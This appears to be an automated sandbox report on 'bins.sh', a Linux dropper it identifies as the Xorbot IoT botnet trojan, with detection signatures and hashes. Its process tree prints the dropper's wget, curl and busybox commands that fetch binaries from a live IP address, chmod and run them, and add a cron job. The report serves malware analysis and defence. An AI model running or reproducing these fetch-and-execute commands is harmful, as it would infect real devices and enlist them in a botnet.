Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/01/2025, 21:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250110-1dlets1kfq
  • SHA256 793fdf88299487cd699404bd5dac67dfff670524cfea68454e2f3ccc0ad2e400
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1973) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          ./Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:751
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:759
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            ./Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:762
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:764
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:765
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:766
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:767
                • /bin/rm
                  rm Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                  2⤵
                    PID:769
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/ZWuR9VwpxCFH9ITNcA1I1q36oQ2hMpvRAz
                    2⤵
                      PID:772

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                        • Path /tmp/Mf3IetC0ukaNiashNPSpjcpK65boRZSDvI
                        • Size 112KB
                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                        • Path /tmp/Z5UKtfI4K8YeZfABB9xBqyKSKPi0JsSSlt
                        • Size 177KB
                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.1W0iMT
                        • Path /var/spool/cron/crontabs/tmp.1W0iMT
                        • Size 210B
                        • SHA256 681eb5b997e8115d6c99f3640136bf552d6885943c195f10d343373cdd557907
                        • MD5 SHA1 SHA512
                        Submit Download